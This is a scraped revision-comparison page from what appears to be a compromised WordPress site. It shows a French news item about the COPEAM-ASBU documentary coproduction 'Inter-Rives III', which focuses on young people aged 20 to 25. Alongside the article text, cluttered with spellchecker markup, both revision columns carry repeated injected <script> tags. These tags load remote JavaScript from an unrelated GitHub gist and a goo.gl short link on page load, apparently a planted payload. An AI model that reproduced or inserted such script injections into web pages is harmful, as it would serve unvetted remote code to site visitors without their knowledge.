You are viewing an old revision of this post, from July 18, 2013 @ 13:54:30. See below for differences between this version and the current revision.
Paris, 1er février 2011
La Commission Télévision s’est réunie le 1er février, à Paris, au siège de TV5 Monde, pour réfléchir sur la troisième coproduction COPEAM-ASBU « Inter-Rives ». Lors de cette rencontre, le bilan de la diffusion des documentaires d’ «Inter-Rives II : Regards d’enfants » a été fait et un débat a été entamé sur le thème de la nouvelle série.
La « jeunesse » a recueilli le consensus de tous les participants qui ont tenté de cerner le sujet et d’identifier l’approche qui sera adoptée dans son traitement : Inter-Rives III s’intéressera à la nouvelle génération de jeunes qui ont un rôle actif, chacun dans son domaine, dans l’évolution des sociétés des différents pays impliqués dans la coproduction.
Les protagonistes de la série seront ainsi des garçons et des filles de 20 à 25 ans avec leurs rêves et leurs expériences témoignés à travers les images.
Changes:
July 18, 2013 @ 13:54:30 | Current Revision | ||
---|---|---|---|
Title | |||
La jeunesse au cœur de la série III d’Inter-Rives | Inter-Rives série III |
Content | |||
---|---|---|---|
<p> | |||
Inter Rives III- “Le <span data-scayt_word="printemps" data-scaytid= "1">printemps</span> des <span data-scayt_word="nouvelles" data-scaytid= "2">nouvelles</span> <span data-scayt_word= "générationsâ€" data-scaytid= "3">générations”</span>- <span data-scayt_word="est" data-scaytid= "4">est</span> <span data-scayt_word= "maintenant" data-scaytid= "5">maintenant</span> <span data-scayt_word="à " data-scaytid= "6">à</span> <span data-scayt_word="sa" data-scaytid= "7">sa</span> <span data-scayt_word="ligne" data-scaytid= "8">ligne</span> <span data-scayt_word="droite" data-scaytid= "9">droite</span>. Le 7 <span data-scayt_word= "documentaires" data-scaytid= "10">documentaires</span> de 13’ qui <span data-scayt_word="composent" data-scaytid= "11">composent</span> <span data-scayt_word="cette" data-scaytid= "12">cette</span> <span data-scayt_word="série" data-scaytid= "13">série</span> <span data-scayt_word= "coproduite" data-scaytid= "14">coproduite</span> <span data-scayt_word="ont" data-scaytid= "15">ont</span> <span data-scayt_word="été" data-scaytid= "16">été</span> <span data-scayt_word= "récemment" data-scaytid= "17">récemment</span> <span data-scayt_word= "délivrés" data-scaytid= "18">délivrés</span> par les <span data-scayt_word= "réalisateurs" data-scaytid= "19">réalisateurs</span> <span data-scayt_word= "impliqués" data-scaytid= "20">impliqués</span>, tenant <span data-scayt_word="compte" data-scaytid= "21">compte</span> des <span data-scayt_word= "recommandations" data-scaytid= "22">recommandations</span> techniques et <span data-scayt_word= "éditoriales" data-scaytid= "23">éditoriales</span> <span data-scayt_word= "exprimées" data-scaytid= "24">exprimées</span> <span data-scayt_word="lors" data-scaytid= "25">lors</span> du <span data-scayt_word="2e" data-scaytid= "26">2<sup>e< /sup></span> atelier de coproduction (Tunis, février 2013). | |||
<span data-scayt_word="Cette" data-scaytid= "199">Cette</span> <span data-scayt_word="3e" data-scaytid= "200">3e</span> <span data-scayt_word= "coproduction" data-scaytid= "201">coproduction</span> <span data-scayt_word= "COPEAM-ASBU" data-scaytid= "202">COPEAM-ASBU</span> <span data-scayt_word="offre" data-scaytid= "203">offre</span> un <span data-scayt_word="aperçu" data-scaytid= "204">aperçu</span> <span data-scayt_word= "significatif" data-scaytid= "205">significatif</span> des <span data-scayt_word="diverses" data-scaytid= "206">diverses</span> actions <span data-scayt_word= "entreprises" data-scaytid= "207">entreprises</span> par les <span data-scayt_word="jeunes" data-scaytid= "208">jeunes</span> <span data-scayt_word= "générations" data-scaytid= "209">générations</span> <span data-scayt_word="dans" data-scaytid= "210">dans</span> le but <span data-scayt_word= "d’améliorer" data-scaytid= "211">d’améliorer</span> <span data-scayt_word="leurs" data-scaytid= "212">leurs</span> <span data-scayt_word= "respectives" data-scaytid= "213">respectives</span> <span data-scayt_word= "sociétés" data-scaytid= "214">sociétés</span>. Les <span data-scayt_word="produits" data-scaytid= "215">produits</span> <span data-scayt_word="seront" data-scaytid= "216">seront</span> <span data-scayt_word= "bientôt" data-scaytid= "217">bientôt</span> <span data-scayt_word= "échangés" data-scaytid= "218">échangés</span> et <span data-scayt_word="prêts" data-scaytid= "219">prêts</span> <span data-scayt_word="à " data-scaytid= "220">à</span> diffuser par les <span data-scayt_word= "télévisions" data-scaytid= "221">télévisions</span> <span data-scayt_word= "partenaires" data-scaytid= "222">partenaires</span> : <span data-scayt_word="EPTV" data-scaytid= "223">EPTV</span> (<span data-scayt_word= "Algérie" data-scaytid= "224">Algérie</span>), <span data-scayt_word="ERTU" data-scaytid= "225">ERTU</span> (<span data-scayt_word="Egypte" data-scaytid= "226">Egypte</span>), RAI (<span data-scayt_word="Italie" data-scaytid= "227">Italie</span>), <span data-scayt_word="RTVE" data-scaytid= "228">RTVE</span> (<span data-scayt_word="Espagne" data-scaytid= "229">Espagne</span>), <span data-scayt_word="SNRT" data-scaytid= "230">SNRT</span> (<span data-scayt_word="Maroc" data-scaytid= "231">Maroc</span>) and <span data-scayt_word= "Télévision" data-scaytid= "232">Télévision</span> <span data-scayt_word= "Tunisienne" data-scaytid= "233">Tunisienne</span> (<span data-scayt_word="Tunisie" data-scaytid= "234">Tunisie</span>). | |||
<em>Paris, <span><span data-scayt_word="1er" data-scaytid= "6">1<sup>er< /sup></span></span> <span><span data-scayt_word= "février" data-scaytid= "96">fé vrier</span> 2011</span></em><br /> | | ||
<br /> | |||
<br /> | |||
La « <span data-scayt_word="jeunesse" data-scaytid= "124">jeunesse</span> » a <span data-scayt_word="recueilli" data-scaytid= "125">recueilli</span> le consensus de <span data-scayt_word="tous" data-scaytid= "126">tous</span> les participants qui <span data-scayt_word="ont" data-scaytid= "127">ont</span> <span data-scayt_word="tenté" data-scaytid= "128">tenté</span> de <span data-scayt_word="cerner" data-scaytid= "129">cerner</span> le <span data-scayt_word="sujet" data-scaytid= "130">sujet</span> et <span data-scayt_word= "d’identifier" data-scaytid= "131">d’ identifier</span> <span data-scayt_word= "l’approche" data-scaytid= "132">l’ approche</span> qui sera <span data-scayt_word= "adoptée" data-scaytid= "133">adoptée</span> <span data-scayt_word="dans" data-scaytid= "134">dans</span> son <span data-scayt_word= "traitement" data-scaytid= "135">traitement</span> : Inter-Rives III <span data-scayt_word= "s’intéressera" data-scaytid= "136">s’inté ressera</span> <span data-scayt_word="à " data-scaytid= "137">à</span> la nouvelle <span data-scayt_word= "génération" data-scaytid= "138">gé nération</span> de <span data-scayt_word="jeunes" data-scaytid= "139">jeunes</span> qui <span data-scayt_word="ont" data-scaytid= "140">ont</span> un <span data-scayt_word="rôle" data-scaytid= "141">rôle</span> <span data-scayt_word="actif" data-scaytid= "142">actif</span>, <span data-scayt_word="chacun" data-scaytid= "143">chacun</span> <span data-scayt_word="dans" data-scaytid= "144">dans</span> son <span data-scayt_word="domaine" data-scaytid= "145">domaine</span>, <span data-scayt_word="dans" data-scaytid= "146">dans</span> <span data-scayt_word= "l’évolution" data-scaytid= "147">l’ évolution</span> des <span data-scayt_word= "sociétés" data-scaytid= "148">socié tés</span> des <span data-scayt_word= "différents" data-scaytid= "149">diffé rents</span> pays <span data-scayt_word= "impliqués" data-scaytid= "150">impliqués</span> <span data-scayt_word="dans" data-scaytid= "151">dans</span> la <span data-scayt_word= "coproduction" data-scaytid= "69">coproduction</span>.<br /> | |||
Les <span data-scayt_word= "protagonistes" data-scaytid= "164">protagonistes</span> de la <span data-scayt_word="série" data-scaytid= "161">série</span> <span data-scayt_word="seront" data-scaytid= "166">seront</span> <span data-scayt_word="ainsi" data-scaytid= "167">ainsi</span> des <span data-scayt_word= "garçons" data-scaytid= "168">garçons</span> et des <span data-scayt_word="filles" data-scaytid= "169">filles</span> de 20 <span data-scayt_word="à " data-scaytid= "162">à</span> 25 <span data-scayt_word="ans" data-scaytid= "172">ans</span> <span data-scayt_word="avec" data-scaytid= "173">avec</span> <span data-scayt_word="leurs" data-scaytid= "174">leurs</span> <span data-scayt_word="rêves" data-scaytid= "176">rêves</span> et <span data-scayt_word="leurs" data-scaytid= "175">leurs</span> <span data-scayt_word= "expériences" data-scaytid= "177">expé riences</span> <span data-scayt_word= "témoignés" data-scaytid= "178">té moignés</span> <span data-scayt_word="à " data-scaytid= "163">à</span> <span data-scayt_word="travers" data-scaytid= "179">travers</span> les images.</p> | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.